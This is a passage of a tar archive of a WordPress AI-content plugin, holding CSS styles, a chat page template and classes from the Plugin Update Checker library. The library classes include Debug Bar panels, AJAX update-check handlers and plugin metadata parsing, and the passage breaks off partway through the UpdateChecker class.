n:center;vertical-align:middle}.cr_actions{width:200px;min-width:160px}.cr_status{max-width:70px;width:70px;text-align:center;vertical-align:middle}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/training.css���������������������������������������������������������������������������������0000644�����������������00000012316�14757771437�0010445 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.aiomatic_list_data{ padding: 10px; background: #e1e1e1; border: 1px solid #ccc; border-radius: 5px; } .aiomatic_data_item:after{ clear: both; display: block; content: ''; } .aiomatic_data_item input{ flex: 1; } .aiomatic_data_item > div{ float: left; width: calc(50% - 2px); margin-right: 2px; margin-bottom: 5px; display: flex; } .aiomatic_data_item_single:after{ clear: both; display: block; content: ''; } .aiomatic_data_item_single input{ flex: 1; } .aiomatic_data_item_single > div{ float: left; width: calc(100% - 4px); margin-right: 2px; margin-bottom: 5px; display: flex; } .aiomatic_new_data_item:after{ clear: both; display: block; content: ''; } .aiomatic_new_data_item input{ flex: 1; } .aiomatic_new_data_item > div{ float: left; width: calc(33% - 2px); margin-right: 2px; margin-bottom: 5px; display: flex; } .aiomatic_add_data{ width: 100%; margin-top: 10px!important; } .aiomatic-convert-progress{ height: 15px; background: #727272; border-radius: 5px; color: #fff; padding: 2px 12px; position: relative; font-size: 12px; text-align: center; margin-bottom: 10px; display: none; } .aiomatic-convert-progress.aiomatic_error span{ background: #bb0505; } .aiomatic-convert-progress span{ display: block; position: absolute; height: 100%; border-radius: 5px; background: #2271b1; top: 0; left: 0; transition: width .6s ease; } .aiomatic-convert-progress small{ position: relative; font-size: 12px; } .aiomatic-convert-progress{ height: 15px; background: #727272; border-radius: 5px; color: #fff; padding: 2px 12px; position: relative; font-size: 12px; text-align: center; margin-bottom: 10px; display: none; } .aiomatic-convert-progress.aiomatic_error span{ background: #bb0505; } .aiomatic-convert-progress span{ display: block; position: absolute; height: 100%; border-radius: 5px; background: #2271b1; top: 0; left: 0; transition: width .6s ease; } .aiomatic-convert-progress small{ position: relative; font-size: 12px; } .aiomatic_delete_finetune,.aiomatic_cancel_finetune{ color: #bb0505; } .aiomatic_modal{ width: 900px; min-height: 100px; position: absolute; top: 30%; background: #fff; left: calc(50% - 450px); border-radius: 5px; } .aiomatic-generating-title{ left: 0!important; animation: unset!important; display: block!important; min-height: 20px; background: #cb7305; border-top-left-radius: 4px; border-top-right-radius: 4px; padding: 9px 12px; text-align: left; color: #fff; } .aiomatic-generating-process{ display: block!important; left: 0!important; animation: unset!important; } .aiomatic-generating-process div{ display: flex!important; left: 0!important; animation: unset!important; color: #fff; justify-content: space-between; padding: 6px 12px; border-bottom: 1px solid #303030; align-items: center; } .aiomatic-generating-process div p{ margin: 0; } .aiomatic-generating-process-finished p{ font-size: 20px; text-align: center; font-weight: bold; color: #10922c; width: 100%; } .aiomatic-generating-process div span{ font-size: 13px; } .aiomatic-generating-process div.finished span{ color: #10922c; font-weight: bold; } .aiomatic-generating-process div.aiomatic-error span{ color: #bb0505; } .aiomatic-timer{ display: block!important; left: 0!important; animation: unset!important; margin: 10px 0px; } .aiomatic_modal_head{ min-height: 30px; border-bottom: 1px solid #ccc; display: flex; align-items: center; padding: 6px 12px; } div.aiomatic_lds-ellipsis{ width: 300px!important; min-height: 100px!important; padding: 0!important; background-color: #1a1a1a; border-radius: 4px; position: fixed!important; left: calc(50% - 15px)!important; top: 50%!important; } .aiomatic_modal_content pre{ max-height: 400px; overflow-y: auto; word-break: break-all; white-space: pre-line; } .aiomatic_height { height: 30px; } .aiomatic-modal-content{ max-height: 400px; overflow-y: auto; } .aiomatic_modal_content{ padding: 10px; } .aiomatic_modal_title{ font-size: 18px; } .aiomatic_modal_title small{ font-size: 13px; } .aiomatic_modal_close{ position: absolute; top: 10px; right: 10px; font-size: 30px; font-weight: bold; cursor: pointer; } .aiomatic-overlay{ position: fixed; width: 100%; height: 100%; z-index: 9999; background: rgb(0 0 0 / 20%); top: 0; direction: ltr; } .aiomatic_form_upload_file{ background: #e3e3e3; padding: 10px; border-radius: 4px; border: 1px solid #ccc; margin-bottom: 20px; } .aiomatic_form_upload_file table th{ padding: 5px; } .aiomatic_form_upload_file table td{ padding: 5px; }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/aiomatic-chat-template.php����������������������������������������������������������������0000644�����������������00000001333�14757771437�0013615 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* Template Name: Aiomatic Chat Template Template Post Type: page, aiomatic_remote_chat */ ?> <!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta charset="<?php bloginfo('charset'); ?>"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <?php wp_head(); ?> </head> <body <?php body_class(); ?>> <div id="primary" class="content-area"> <main id="main" class="site-main" role="main"> <?php while ( have_posts() ) : the_post(); the_content(); endwhile; ?> </main> </div> <?php wp_footer(); ?> </body> </html>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5/PucFactory.php����������������������������������������������������������������0000644�����������������00000000277�14757771437�0013335 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5; if ( !class_exists(PucFactory::class, false) ): class PucFactory extends \YahnisElsts\PluginUpdateChecker\v5p2\PucFactory { } endif; ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/DebugBar/ThemePanel.php�����������������������������������������������������0000644�����������������00000001075�14757771437�0015212 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\DebugBar; use YahnisElsts\PluginUpdateChecker\v5p2\Theme\UpdateChecker; if ( !class_exists(ThemePanel::class, false) ): class ThemePanel extends Panel { /** * @var UpdateChecker */ protected $updateChecker; protected function displayConfigHeader() { $this->row('Theme directory', htmlentities($this->updateChecker->directoryName)); parent::displayConfigHeader(); } protected function getUpdateFields() { return array_merge(parent::getUpdateFields(), array('details_url')); } } endif; �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/DebugBar/PluginPanel.php����������������������������������������������������0000644�����������������00000001724�14757771437�0015407 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\DebugBar; use YahnisElsts\PluginUpdateChecker\v5p2\Plugin\UpdateChecker; if ( !class_exists(PluginPanel::class, false) ): class PluginPanel extends Panel { /** * @var UpdateChecker */ protected $updateChecker; protected function displayConfigHeader() { $this->row('Plugin file', htmlentities($this->updateChecker->pluginFile)); parent::displayConfigHeader(); } protected function getMetadataButton() { $requestInfoButton = ''; if ( function_exists('get_submit_button') ) { $requestInfoButton = get_submit_button( 'Request Info', 'secondary', 'puc-request-info-button', false, array('id' => $this->updateChecker->getUniqueName('request-info-button')) ); } return $requestInfoButton; } protected function getUpdateFields() { return array_merge( parent::getUpdateFields(), array('homepage', 'upgrade_notice', 'tested',) ); } } endif; ��������������������������������������������update-checker/Puc/v5p2/DebugBar/PluginExtension.php������������������������������������������������0000644�����������������00000002316�14757771437�0016322 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\DebugBar; use YahnisElsts\PluginUpdateChecker\v5p2\Plugin\UpdateChecker; if ( !class_exists(PluginExtension::class, false) ): class PluginExtension extends Extension { /** @var UpdateChecker */ protected $updateChecker; public function __construct($updateChecker) { parent::__construct($updateChecker, PluginPanel::class); add_action('wp_ajax_puc_v5_debug_request_info', array($this, 'ajaxRequestInfo')); } /** * Request plugin info and output it. */ public function ajaxRequestInfo() { //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce is checked in preAjaxRequest(). if ( !isset($_POST['uid']) || ($_POST['uid'] !== $this->updateChecker->getUniqueName('uid')) ) { return; } $this->preAjaxRequest(); $info = $this->updateChecker->requestInfo(); if ( $info !== null ) { echo 'Successfully retrieved plugin info from the metadata URL:'; //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_print_r -- For debugging output. echo '<pre>', esc_html(print_r($info, true)), '</pre>'; } else { echo 'Failed to retrieve plugin info from the metadata URL.'; } exit; } } endif; ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/DebugBar/Extension.php������������������������������������������������������0000644�����������������00000014507�14757771437�0015150 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\DebugBar; use YahnisElsts\PluginUpdateChecker\v5p2\PucFactory; use YahnisElsts\PluginUpdateChecker\v5p2\UpdateChecker; if ( !class_exists(Extension::class, false) ): class Extension { const RESPONSE_BODY_LENGTH_LIMIT = 4000; /** @var UpdateChecker */ protected $updateChecker; protected $panelClass = Panel::class; public function __construct($updateChecker, $panelClass = null) { $this->updateChecker = $updateChecker; if ( isset($panelClass) ) { $this->panelClass = $panelClass; } if ( (strpos($this->panelClass, '\\') === false) ) { $this->panelClass = __NAMESPACE__ . '\\' . $this->panelClass; } add_filter('debug_bar_panels', array($this, 'addDebugBarPanel')); add_action('debug_bar_enqueue_scripts', array($this, 'enqueuePanelDependencies')); add_action('wp_ajax_puc_v5_debug_check_now', array($this, 'ajaxCheckNow')); } /** * Register the PUC Debug Bar panel. * * @param array $panels * @return array */ public function addDebugBarPanel($panels) { if ( $this->updateChecker->userCanInstallUpdates() ) { $panels[] = new $this->panelClass($this->updateChecker); } return $panels; } /** * Enqueue our Debug Bar scripts and styles. */ public function enqueuePanelDependencies() { wp_enqueue_style( 'puc-debug-bar-style-v5', $this->getLibraryUrl("/css/puc-debug-bar.css"), array('debug-bar'), '20221008' ); wp_enqueue_script( 'puc-debug-bar-js-v5', $this->getLibraryUrl("/js/debug-bar.js"), array('jquery'), '20221008' ); } /** * Run an update check and output the result. Useful for making sure that * the update checking process works as expected. */ public function ajaxCheckNow() { //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce is checked in preAjaxRequest(). if ( !isset($_POST['uid']) || ($_POST['uid'] !== $this->updateChecker->getUniqueName('uid')) ) { return; } $this->preAjaxRequest(); $update = $this->updateChecker->checkForUpdates(); if ( $update !== null ) { echo "An update is available:"; //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_print_r -- For debugging output. echo '<pre>', esc_html(print_r($update, true)), '</pre>'; } else { echo 'No updates found.'; } $errors = $this->updateChecker->getLastRequestApiErrors(); if ( !empty($errors) ) { printf('<p>The update checker encountered %d API error%s.</p>', count($errors), (count($errors) > 1) ? 's' : ''); foreach (array_values($errors) as $num => $item) { $wpError = $item['error']; /** @var \WP_Error $wpError */ printf('<h4>%d) %s</h4>', intval($num + 1), esc_html($wpError->get_error_message())); echo '<dl>'; printf('<dt>Error code:</dt><dd><code>%s</code></dd>', esc_html($wpError->get_error_code())); if ( isset($item['url']) ) { printf('<dt>Requested URL:</dt><dd><code>%s</code></dd>', esc_html($item['url'])); } if ( isset($item['httpResponse']) ) { if ( is_wp_error($item['httpResponse']) ) { $httpError = $item['httpResponse']; /** @var \WP_Error $httpError */ printf( '<dt>WordPress HTTP API error:</dt><dd>%s (<code>%s</code>)</dd>', esc_html($httpError->get_error_message()), esc_html($httpError->get_error_code()) ); } else { //Status code. printf( '<dt>HTTP status:</dt><dd><code>%d %s</code></dd>', esc_html(wp_remote_retrieve_response_code($item['httpResponse'])), esc_html(wp_remote_retrieve_response_message($item['httpResponse'])) ); //Headers. echo '<dt>Response headers:</dt><dd><pre>'; foreach (wp_remote_retrieve_headers($item['httpResponse']) as $name => $value) { printf("%s: %s\n", esc_html($name), esc_html($value)); } echo '</pre></dd>'; //Body. $body = wp_remote_retrieve_body($item['httpResponse']); if ( $body === '' ) { $body = '(Empty response.)'; } else if ( strlen($body) > self::RESPONSE_BODY_LENGTH_LIMIT ) { $length = strlen($body); $body = substr($body, 0, self::RESPONSE_BODY_LENGTH_LIMIT) . sprintf("\n(Long string truncated. Total length: %d bytes.)", $length); } printf('<dt>Response body:</dt><dd><pre>%s</pre></dd>', esc_html($body)); } } echo '<dl>'; } } exit; } /** * Check access permissions and enable error display (for debugging). */ protected function preAjaxRequest() { if ( !$this->updateChecker->userCanInstallUpdates() ) { die('Access denied'); } check_ajax_referer('puc-ajax'); //phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_error_reporting -- Part of a debugging feature. error_reporting(E_ALL); //phpcs:ignore WordPress.PHP.IniSet.display_errors_Blacklisted @ini_set('display_errors', 'On'); } /** * Remove hooks that were added by this extension. */ public function removeHooks() { remove_filter('debug_bar_panels', array($this, 'addDebugBarPanel')); remove_action('debug_bar_enqueue_scripts', array($this, 'enqueuePanelDependencies')); remove_action('wp_ajax_puc_v5_debug_check_now', array($this, 'ajaxCheckNow')); } /** * @param string $filePath * @return string */ private function getLibraryUrl($filePath) { $absolutePath = realpath(dirname(__FILE__) . '/../../../' . ltrim($filePath, '/')); //Where is the library located inside the WordPress directory structure? $absolutePath = PucFactory::normalizePath($absolutePath); $pluginDir = PucFactory::normalizePath(WP_PLUGIN_DIR); $muPluginDir = PucFactory::normalizePath(WPMU_PLUGIN_DIR); $themeDir = PucFactory::normalizePath(get_theme_root()); if ( (strpos($absolutePath, $pluginDir) === 0) || (strpos($absolutePath, $muPluginDir) === 0) ) { //It's part of a plugin. return plugins_url(basename($absolutePath), $absolutePath); } else if ( strpos($absolutePath, $themeDir) === 0 ) { //It's part of a theme. $relativePath = substr($absolutePath, strlen($themeDir) + 1); $template = substr($relativePath, 0, strpos($relativePath, '/')); $baseUrl = get_theme_root_uri($template); if ( !empty($baseUrl) && $relativePath ) { return $baseUrl . '/' . $relativePath; } } return ''; } } endif; �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/DebugBar/Panel.php����������������������������������������������������������0000644�����������������00000012574�14757771437�0014235 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\DebugBar; use YahnisElsts\PluginUpdateChecker\v5p2\UpdateChecker; if ( !class_exists(Panel::class, false) && class_exists('Debug_Bar_Panel', false) ): class Panel extends \Debug_Bar_Panel { /** @var UpdateChecker */ protected $updateChecker; private $responseBox = '<div class="puc-ajax-response" style="display: none;"></div>'; public function __construct($updateChecker) { $this->updateChecker = $updateChecker; $title = sprintf( '<span class="puc-debug-menu-link-%s">PUC (%s)</span>', esc_attr($this->updateChecker->getUniqueName('uid')), $this->updateChecker->slug ); parent::__construct($title); } public function render() { printf( '<div class="puc-debug-bar-panel-v5" id="%1$s" data-slug="%2$s" data-uid="%3$s" data-nonce="%4$s">', esc_attr($this->updateChecker->getUniqueName('debug-bar-panel')), esc_attr($this->updateChecker->slug), esc_attr($this->updateChecker->getUniqueName('uid')), esc_attr(wp_create_nonce('puc-ajax')) ); $this->displayConfiguration(); $this->displayStatus(); $this->displayCurrentUpdate(); echo '</div>'; } private function displayConfiguration() { echo '<h3>Configuration</h3>'; echo '<table class="puc-debug-data">'; $this->displayConfigHeader(); $this->row('Slug', htmlentities($this->updateChecker->slug)); $this->row('DB option', htmlentities($this->updateChecker->optionName)); $requestInfoButton = $this->getMetadataButton(); $this->row('Metadata URL', htmlentities($this->updateChecker->metadataUrl) . ' ' . $requestInfoButton . $this->responseBox); $scheduler = $this->updateChecker->scheduler; if ( $scheduler->checkPeriod > 0 ) { $this->row('Automatic checks', 'Every ' . $scheduler->checkPeriod . ' hours'); } else { $this->row('Automatic checks', 'Disabled'); } if ( isset($scheduler->throttleRedundantChecks) ) { if ( $scheduler->throttleRedundantChecks && ($scheduler->checkPeriod > 0) ) { $this->row( 'Throttling', sprintf( 'Enabled. If an update is already available, check for updates every %1$d hours instead of every %2$d hours.', $scheduler->throttledCheckPeriod, $scheduler->checkPeriod ) ); } else { $this->row('Throttling', 'Disabled'); } } $this->updateChecker->onDisplayConfiguration($this); echo '</table>'; } protected function displayConfigHeader() { //Do nothing. This should be implemented in subclasses. } protected function getMetadataButton() { return ''; } private function displayStatus() { echo '<h3>Status</h3>'; echo '<table class="puc-debug-data">'; $state = $this->updateChecker->getUpdateState(); $checkNowButton = ''; if ( function_exists('get_submit_button') ) { $checkNowButton = get_submit_button( 'Check Now', 'secondary', 'puc-check-now-button', false, array('id' => $this->updateChecker->getUniqueName('check-now-button')) ); } if ( $state->getLastCheck() > 0 ) { $this->row('Last check', $this->formatTimeWithDelta($state->getLastCheck()) . ' ' . $checkNowButton . $this->responseBox); } else { $this->row('Last check', 'Never'); } $nextCheck = wp_next_scheduled($this->updateChecker->scheduler->getCronHookName()); $this->row('Next automatic check', $this->formatTimeWithDelta($nextCheck)); if ( $state->getCheckedVersion() !== '' ) { $this->row('Checked version', htmlentities($state->getCheckedVersion())); $this->row('Cached update', $state->getUpdate()); } $this->row('Update checker class', htmlentities(get_class($this->updateChecker))); echo '</table>'; } private function displayCurrentUpdate() { $update = $this->updateChecker->getUpdate(); if ( $update !== null ) { echo '<h3>An Update Is Available</h3>'; echo '<table class="puc-debug-data">'; $fields = $this->getUpdateFields(); foreach($fields as $field) { if ( property_exists($update, $field) ) { $this->row( ucwords(str_replace('_', ' ', $field)), isset($update->$field) ? htmlentities($update->$field) : null ); } } echo '</table>'; } else { echo '<h3>No updates currently available</h3>'; } } protected function getUpdateFields() { return array('version', 'download_url', 'slug',); } private function formatTimeWithDelta($unixTime) { if ( empty($unixTime) ) { return 'Never'; } $delta = time() - $unixTime; $result = human_time_diff(time(), $unixTime); if ( $delta < 0 ) { $result = 'after ' . $result; } else { $result = $result . ' ago'; } $result .= ' (' . $this->formatTimestamp($unixTime) . ')'; return $result; } private function formatTimestamp($unixTime) { return gmdate('Y-m-d H:i:s', $unixTime + (get_option('gmt_offset') * 3600)); } public function row($name, $value) { if ( is_object($value) || is_array($value) ) { //This is specifically for debugging, so print_r() is fine. //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_print_r $value = '<pre>' . htmlentities(print_r($value, true)) . '</pre>'; } else if ($value === null) { $value = '<code>null</code>'; } printf( '<tr><th scope="row">%1$s</th> <td>%2$s</td></tr>', esc_html($name), //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Escaped above. $value ); } } endif; ������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Plugin/Package.php����������������������������������������������������������0000644�����������������00000012653�14757771437�0014312 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Plugin; use YahnisElsts\PluginUpdateChecker\v5p2\InstalledPackage; use YahnisElsts\PluginUpdateChecker\v5p2\PucFactory; if ( !class_exists(Package::class, false) ): class Package extends InstalledPackage { /** * @var UpdateChecker */ protected $updateChecker; /** * @var string Full path of the main plugin file. */ protected $pluginAbsolutePath = ''; /** * @var string Plugin basename. */ private $pluginFile; /** * @var string|null */ private $cachedInstalledVersion = null; public function __construct($pluginAbsolutePath, $updateChecker) { $this->pluginAbsolutePath = $pluginAbsolutePath; $this->pluginFile = plugin_basename($this->pluginAbsolutePath); parent::__construct($updateChecker); //Clear the version number cache when something - anything - is upgraded or WP clears the update cache. add_filter('upgrader_post_install', array($this, 'clearCachedVersion')); add_action('delete_site_transient_update_plugins', array($this, 'clearCachedVersion')); } public function getInstalledVersion() { if ( isset($this->cachedInstalledVersion) ) { return $this->cachedInstalledVersion; } $pluginHeader = $this->getPluginHeader(); if ( isset($pluginHeader['Version']) ) { $this->cachedInstalledVersion = $pluginHeader['Version']; return $pluginHeader['Version']; } else { //This can happen if the filename points to something that is not a plugin. $this->updateChecker->triggerError( sprintf( "Cannot read the Version header for '%s'. The filename is incorrect or is not a plugin.", $this->updateChecker->pluginFile ), E_USER_WARNING ); return null; } } /** * Clear the cached plugin version. This method can be set up as a filter (hook) and will * return the filter argument unmodified. * * @param mixed $filterArgument * @return mixed */ public function clearCachedVersion($filterArgument = null) { $this->cachedInstalledVersion = null; return $filterArgument; } public function getAbsoluteDirectoryPath() { return dirname($this->pluginAbsolutePath); } /** * Get the value of a specific plugin or theme header. * * @param string $headerName * @param string $defaultValue * @return string Either the value of the header, or $defaultValue if the header doesn't exist or is empty. */ public function getHeaderValue($headerName, $defaultValue = '') { $headers = $this->getPluginHeader(); if ( isset($headers[$headerName]) && ($headers[$headerName] !== '') ) { return $headers[$headerName]; } return $defaultValue; } protected function getHeaderNames() { return array( 'Name' => 'Plugin Name', 'PluginURI' => 'Plugin URI', 'Version' => 'Version', 'Description' => 'Description', 'Author' => 'Author', 'AuthorURI' => 'Author URI', 'TextDomain' => 'Text Domain', 'DomainPath' => 'Domain Path', 'Network' => 'Network', //The newest WordPress version that this plugin requires or has been tested with. //We support several different formats for compatibility with other libraries. 'Tested WP' => 'Tested WP', 'Requires WP' => 'Requires WP', 'Tested up to' => 'Tested up to', 'Requires at least' => 'Requires at least', ); } /** * Get the translated plugin title. * * @return string */ public function getPluginTitle() { $title = ''; $header = $this->getPluginHeader(); if ( $header && !empty($header['Name']) && isset($header['TextDomain']) ) { $title = translate($header['Name'], $header['TextDomain']); } return $title; } /** * Get plugin's metadata from its file header. * * @return array */ public function getPluginHeader() { if ( !is_file($this->pluginAbsolutePath) ) { //This can happen if the plugin filename is wrong. $this->updateChecker->triggerError( sprintf( "Can't to read the plugin header for '%s'. The file does not exist.", $this->updateChecker->pluginFile ), E_USER_WARNING ); return array(); } if ( !function_exists('get_plugin_data') ) { require_once(ABSPATH . '/wp-admin/includes/plugin.php'); } return get_plugin_data($this->pluginAbsolutePath, false, false); } public function removeHooks() { remove_filter('upgrader_post_install', array($this, 'clearCachedVersion')); remove_action('delete_site_transient_update_plugins', array($this, 'clearCachedVersion')); } /** * Check if the plugin file is inside the mu-plugins directory. * * @return bool */ public function isMuPlugin() { static $cachedResult = null; if ( $cachedResult === null ) { if ( !defined('WPMU_PLUGIN_DIR') || !is_string(WPMU_PLUGIN_DIR) ) { $cachedResult = false; return $cachedResult; } //Convert both paths to the canonical form before comparison. $muPluginDir = realpath(WPMU_PLUGIN_DIR); $pluginPath = realpath($this->pluginAbsolutePath); //If realpath() fails, just normalize the syntax instead. if (($muPluginDir === false) || ($pluginPath === false)) { $muPluginDir = PucFactory::normalizePath(WPMU_PLUGIN_DIR); $pluginPath = PucFactory::normalizePath($this->pluginAbsolutePath); } $cachedResult = (strpos($pluginPath, $muPluginDir) === 0); } return $cachedResult; } } endif; �������������������������������������������������������������������������������������update-checker/Puc/v5p2/Plugin/Update.php�����������������������������������������������������������0000644�����������������00000006273�14757771437�0014202 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Plugin; use YahnisElsts\PluginUpdateChecker\v5p2\Update as BaseUpdate; if ( !class_exists(Update::class, false) ): /** * A simple container class for holding information about an available update. * * @author Janis Elsts * @copyright 2016 * @access public */ class Update extends BaseUpdate { public $id = 0; public $homepage; public $upgrade_notice; public $tested; public $requires_php = false; public $icons = array(); public $filename; //Plugin filename relative to the plugins directory. protected static $extraFields = array( 'id', 'homepage', 'tested', 'requires_php', 'upgrade_notice', 'icons', 'filename', ); /** * Create a new instance of PluginUpdate from its JSON-encoded representation. * * @param string $json * @return self|null */ public static function fromJson($json){ //Since update-related information is simply a subset of the full plugin info, //we can parse the update JSON as if it was a plugin info string, then copy over //the parts that we care about. $pluginInfo = PluginInfo::fromJson($json); if ( $pluginInfo !== null ) { return self::fromPluginInfo($pluginInfo); } else { return null; } } /** * Create a new instance of PluginUpdate based on an instance of PluginInfo. * Basically, this just copies a subset of fields from one object to another. * * @param PluginInfo $info * @return static */ public static function fromPluginInfo($info){ return static::fromObject($info); } /** * Create a new instance by copying the necessary fields from another object. * * @param \StdClass|PluginInfo|self $object The source object. * @return self The new copy. */ public static function fromObject($object) { $update = new self(); $update->copyFields($object, $update); return $update; } /** * @return string[] */ protected function getFieldNames() { return array_merge(parent::getFieldNames(), self::$extraFields); } /** * Transform the update into the format used by WordPress native plugin API. * * @return object */ public function toWpFormat() { $update = parent::toWpFormat(); $update->id = $this->id; $update->url = $this->homepage; $update->tested = $this->tested; $update->requires_php = $this->requires_php; $update->plugin = $this->filename; if ( !empty($this->upgrade_notice) ) { $update->upgrade_notice = $this->upgrade_notice; } if ( !empty($this->icons) && is_array($this->icons) ) { //This should be an array with up to 4 keys: 'svg', '1x', '2x' and 'default'. //Docs: https://developer.wordpress.org/plugins/wordpress-org/plugin-assets/#plugin-icons $icons = array_intersect_key( $this->icons, array('svg' => true, '1x' => true, '2x' => true, 'default' => true) ); if ( !empty($icons) ) { $update->icons = $icons; //It appears that the 'default' icon isn't used anywhere in WordPress 4.9, //but lets set it just in case a future release needs it. if ( !isset($update->icons['default']) ) { $update->icons['default'] = current($update->icons); } } } return $update; } } endif; �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Plugin/PluginInfo.php�������������������������������������������������������0000644�����������������00000007375�14757771437�0015036 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Plugin; use YahnisElsts\PluginUpdateChecker\v5p2\Metadata; if ( !class_exists(PluginInfo::class, false) ): /** * A container class for holding and transforming various plugin metadata. * * @author Janis Elsts * @copyright 2016 * @access public */ class PluginInfo extends Metadata { //Most fields map directly to the contents of the plugin's info.json file. //See the relevant docs for a description of their meaning. public $name; public $slug; public $version; public $homepage; public $sections = array(); public $download_url; public $banners; public $icons = array(); public $translations = array(); public $author; public $author_homepage; public $requires; public $tested; public $requires_php; public $upgrade_notice; public $rating; public $num_ratings; public $downloaded; public $active_installs; public $last_updated; public $id = 0; //The native WP.org API returns numeric plugin IDs, but they're not used for anything. public $filename; //Plugin filename relative to the plugins directory. /** * Create a new instance of Plugin Info from JSON-encoded plugin info * returned by an external update API. * * @param string $json Valid JSON string representing plugin info. * @return self|null New instance of Plugin Info, or NULL on error. */ public static function fromJson($json){ $instance = new self(); if ( !parent::createFromJson($json, $instance) ) { return null; } //json_decode decodes assoc. arrays as objects. We want them as arrays. $instance->sections = (array)$instance->sections; $instance->icons = (array)$instance->icons; return $instance; } /** * Very, very basic validation. * * @param \StdClass $apiResponse * @return bool|\WP_Error */ protected function validateMetadata($apiResponse) { if ( !isset($apiResponse->name, $apiResponse->version) || empty($apiResponse->name) || empty($apiResponse->version) ) { return new \WP_Error( 'puc-invalid-metadata', "The plugin metadata file does not contain the required 'name' and/or 'version' keys." ); } return true; } /** * Transform plugin info into the format used by the native WordPress.org API * * @return object */ public function toWpFormat(){ $info = new \stdClass; //The custom update API is built so that many fields have the same name and format //as those returned by the native WordPress.org API. These can be assigned directly. $sameFormat = array( 'name', 'slug', 'version', 'requires', 'tested', 'rating', 'upgrade_notice', 'num_ratings', 'downloaded', 'active_installs', 'homepage', 'last_updated', 'requires_php', ); foreach($sameFormat as $field){ if ( isset($this->$field) ) { $info->$field = $this->$field; } else { $info->$field = null; } } //Other fields need to be renamed and/or transformed. $info->download_link = $this->download_url; $info->author = $this->getFormattedAuthor(); $info->sections = array_merge(array('description' => ''), $this->sections); if ( !empty($this->banners) ) { //WP expects an array with two keys: "high" and "low". Both are optional. //Docs: https://wordpress.org/plugins/about/faq/#banners $info->banners = is_object($this->banners) ? get_object_vars($this->banners) : $this->banners; $info->banners = array_intersect_key($info->banners, array('high' => true, 'low' => true)); } return $info; } protected function getFormattedAuthor() { if ( !empty($this->author_homepage) ){ /** @noinspection HtmlUnknownTarget */ return sprintf('<a href="%s">%s</a>', $this->author_homepage, $this->author); } return $this->author; } } endif; �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Plugin/UpdateChecker.php����������������������������������������������������0000644�����������������00000032055�14757771437�0015464 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Plugin; use YahnisElsts\PluginUpdateChecker\v5p2\InstalledPackage; use YahnisElsts\PluginUpdateChecker\v5p2\UpdateChecker as BaseUpdateChecker; use YahnisElsts\PluginUpdateChecker\v5p2\Scheduler; use YahnisElsts\PluginUpdateChecker\v5p2\DebugBar; if ( !class_exists(UpdateChecker::class, false) ): /** * A custom plugin update checker. * * @author Janis Elsts * @copyright 2018 * @access public */ class UpdateChecker extends BaseUpdateChecker { protected $updateTransient = 'update_plugins'; protected $translationType = 'plugin'; public $pluginAbsolutePath = ''; //Full path of the main plugin file. public $pluginFile = ''; //Plugin filename relative to the plugins directory. 